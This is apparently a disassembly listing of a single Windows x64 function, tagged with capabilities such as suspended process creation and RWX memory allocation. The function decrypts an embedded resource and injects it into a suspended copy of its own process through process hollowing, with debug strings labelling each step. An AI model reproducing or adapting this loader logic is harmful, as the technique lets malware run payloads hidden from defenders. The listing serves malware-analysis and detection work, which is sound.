Function at 0x140004040
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x420]
sub rsp, 0x520
mov rax, qword [0x140078140]
xor rax, rsp
mov qword [rbp + 0x410], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, rax
lea r8, [0x14006c8a0]
mov edx, 0x84
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdi, rax
xor r14d, r14d
test rax, rax
je 0x1400040d5
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x1400040d5
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rsi, rax
test rax, rax
je 0x1400040d5
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
jmp 0x1400040db
mov ebx, r14d
mov rsi, r14
mov edx, ebx
call fcn.140004bd0
mov rcx, rax
lea rdx, [0x14006c8a8]
call fcn.140008580
lea rdx, [0x14006c8ac]
lea rcx, [0x14007c6a0]
call fcn.140008580
mov rcx, rax
lea rdx, [0x14006c8a8]
call fcn.140008580
mov r8d, ebx
mov rdx, rsi
lea rcx, [rsp + 0x70]
call fcn.140003a80
nop
mov rcx, qword [rbp - 0x80]
inc rcx
call fcn.140028744
mov rbx, rax
lea rdx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rdx, qword [rsp + 0x70]
mov r8, qword [rbp - 0x80]
mov rcx, rax
call fcn.140056530
mov rax, qword [rbp - 0x80]
mov byte [rax + rbx], 0
mov rdx, rbx
lea rcx, [0x14007c6a0]
call fcn.140008580
lea rdx, str.Decrypted_Data_string:
lea rcx, [0x14007c6a0]
call fcn.140008580
lea rdx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rdx, qword [rsp + 0x70]
mov r8, qword [rbp - 0x80]
mov rcx, rax
call fcn.14000a180
mov rcx, rax
call fcn.140008830
lea rdx, str.Decrypted_Data_char:
lea rcx, [0x14007c6a0]
call fcn.140008580
mov rdx, rbx
mov rcx, rax
call fcn.140008580
mov rcx, rax
call fcn.140008830
lea rdx, [0x14006c8ac]
lea rcx, [0x14007c6a0]
call fcn.140008580
mov rcx, rax
lea rdx, [0x14006c8a8]
call fcn.140008580
movsxd r15, dword [rbx + 0x3c]
add r15, rbx
cmp dword [r15], 0x4550
jne 0x14000474b
lea rdx, str.Start___n
lea rcx, [0x14007c6a0]
call fcn.140008580
lea rdx, str.PE:
lea rcx, [0x14007c6a0]
call fcn.140008580
mov rdx, rbx
mov rcx, rax
call fcn.1400047d0
mov rcx, rax
lea rdx, [0x14006c8a8]
call fcn.140008580
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], rax
xorps xmm1, xmm1
movups xmmword [rbp - 0x60], xmm1
movups xmmword [rbp - 0x50], xmm1
movups xmmword [rbp - 0x40], xmm1
movups xmmword [rbp - 0x30], xmm1
movups xmmword [rbp - 0x20], xmm1
movups xmmword [rbp - 0x10], xmm1
mov qword [rbp], rax
mov r8d, 0x104
lea rdx, [rbp + 0x10]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
lea rcx, [0x14007c6a0]
test eax, eax
je 0x14000473e
lea rdx, str.CTX___n
call fcn.140008580
mov edx, 8
xor ecx, ecx
lea r9d, [rdx + 0x38]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r13, rax
mov dword [rax + 0x30], 0x10000b
lea rdx, str.CTX:
lea rcx, [0x14007c6a0]
call fcn.140008580
mov rdx, r13
mov rcx, rax
call fcn.1400047d0
mov rcx, rax
lea rdx, [0x14006c8a8]
call fcn.140008580
lea rdx, str.Thread:
lea rcx, [0x14007c6a0]
call fcn.140008580
mov rdx, qword [rsp + 0x60]
mov rcx, rax
call fcn.1400047d0
mov rcx, rax
lea rdx, [0x14006c8a8]
call fcn.140008580
lea rdx, str.LPCONTEXT_CTX:
lea rcx, [0x14007c6a0]
call fcn.140008580
mov rdx, r13
mov rcx, rax
call fcn.1400047d0
mov rcx, rax
lea rdx, [0x14006c8a8]
call fcn.140008580
lea rdx, str.Process:
lea rcx, [0x14007c6a0]
call fcn.140008580
mov rdx, qword [rsp + 0x58]
mov rcx, rax
call fcn.1400047d0
mov rcx, rax
lea rdx, [0x14006c8a8]
call fcn.140008580
mov rdx, r13
mov rcx, qword [rsp + 0x60]
call fcn.14000e210
mov edi, eax
lea rdx, str.NtGetContextThread_status:
lea rcx, [0x14007c6a0]
call fcn.140008580
mov edx, edi
mov rcx, rax
call fcn.140004e00
mov rcx, rax
lea rdx, [0x14006c8a8]
call fcn.140008580
lea rdx, str.Allocate_Memory___n
lea rcx, [0x14007c6a0]
call fcn.140008580
mov eax, dword [r15 + 0x50]
mov qword [rbp - 0x70], rax
mov rax, qword [r15 + 0x30]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp - 0x70]
xor r8d, r8d
lea rdx, [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
call fcn.14000add0
mov edi, eax
lea rdx, str._I_AllocMem_status:
lea rcx, [0x14007c6a0]
call fcn.140008580
mov edx, edi
mov rcx, rax
call fcn.140004e00
mov rcx, rax
lea rdx, [0x14006c8a8]
call fcn.140008580
lea rdx, str._I_Memory_adr:
lea rcx, [0x14007c6a0]
call fcn.140008580
mov rdx, qword [rsp + 0x50]
mov rcx, rax
call fcn.1400047d0
mov rcx, rax
lea rdx, [0x14006c8a8]
call fcn.140008580
lea rdx, str._I_RegionMem_size:
lea rcx, [0x14007c6a0]
call fcn.140008580
mov rdx, qword [rbp - 0x70]
mov rcx, rax
call fcn.1400049d0
mov rcx, rax
lea rdx, [0x14006c8a8]
call fcn.140008580
lea rdx, str.Write_Memory___n
lea rcx, [0x14007c6a0]
call fcn.140008580
mov r9d, dword [r15 + 0x54]
mov qword [rsp + 0x20], r14
mov r8, rbx
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
call fcn.14000b610
mov edi, eax
lea rdx, str._I_WriteMem_status:
lea rcx, [0x14007c6a0]
call fcn.140008580
mov edx, edi
mov rcx, rax
call fcn.140004e00
mov rcx, rax
lea rdx, [0x14006c8a8]
call fcn.140008580
xor eax, eax
cmp ax, word [r15 + 6]
jae 0x140004628
mov esi, eax
nop dword [rax]
nop dword [rax + rax]
movsxd rdi, dword [rbx + 0x3c]
add rdi, rsi
lea rdx, str.Write_Memory1___n
lea rcx, [0x14007c6a0]
call fcn.140008580
mov r9d, dword [rdi + rbx + 0x118]
mov r8d, dword [rdi + rbx + 0x11c]
add r8, rbx
mov edx, dword [rdi + rbx + 0x114]
add rdx, qword [rsp + 0x50]
mov qword [rsp + 0x20], 0
mov rcx, qword [rsp + 0x58]
call fcn.14000b610
mov edi, eax
lea rdx, str._I_WriteMem1_status:
lea rcx, [0x14007c6a0]
call fcn.140008580
mov edx, edi
mov rcx, rax
call fcn.140004e00
mov rcx, rax
lea rdx, [0x14006c8a8]
call fcn.140008580
lea rdx, str.Write_Memory2___n
lea rcx, [0x14007c6a0]
call fcn.140008580
mov rdx, qword [r13 + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [r15 + 0x30]
mov rcx, qword [rsp + 0x58]
call fcn.14000b610
mov edi, eax
lea rdx, str._I_WriteMem2_status:
lea rcx, [0x14007c6a0]
call fcn.140008580
mov edx, edi
mov rcx, rax
call fcn.140004e00
mov rcx, rax
lea rdx, [0x14006c8a8]
call fcn.140008580
inc r14
add rsi, 0x28
movzx eax, word [r15 + 6]
cmp r14, rax
jb 0x140004530
lea rdx, str.NTHEADER_CTX___n
lea rcx, [0x14007c6a0]
call fcn.140008580
mov eax, dword [r15 + 0x28]
add rax, qword [rsp + 0x50]
mov qword [r13 + 0x80], rax
lea rdx, str.SET_CONTEXT_THREAD___n
lea rcx, [0x14007c6a0]
call fcn.140008580
mov rdx, r13
mov rcx, qword [rsp + 0x60]
call fcn.140010810
mov ebx, eax
lea rdx, str._I_SetConTh_status:
lea rcx, [0x14007c6a0]
call fcn.140008580
mov edx, ebx
mov rcx, rax
call fcn.140004e00
mov rcx, rax
lea rdx, [0x14006c8a8]
call fcn.140008580
lea rdx, str.RESUME_THREAD___n
lea rcx, [0x14007c6a0]
call fcn.140008580
xor edx, edx
mov rcx, qword [rsp + 0x60]
call fcn.14000bc10
mov ebx, eax
lea rdx, str._I_ResumeTh_status:
lea rcx, [0x14007c6a0]
call fcn.140008580
mov edx, ebx
mov rcx, rax
call fcn.140004e00
mov rcx, rax
lea rdx, [0x14006c8a8]
call fcn.140008580
lea rdx, str.Wait_thread__n
lea rcx, [0x14007c6a0]
call fcn.140008580
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x58]
call fcn.14000a8d0
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x140004783
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000477e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400047bb
jmp 0x14000477e
lea rdx, str.ERROR_in_CreateProcessA__n
call fcn.140008580
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x140004783
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000477e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400047b5
call fcn.1400286f0
xor eax, eax
mov rcx, qword [rbp + 0x410]
xor rcx, rsp
call fcn.1400286d0
lea r11, [rsp + 0x520]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14003cb5c
int3
call fcn.14003cb5c
int3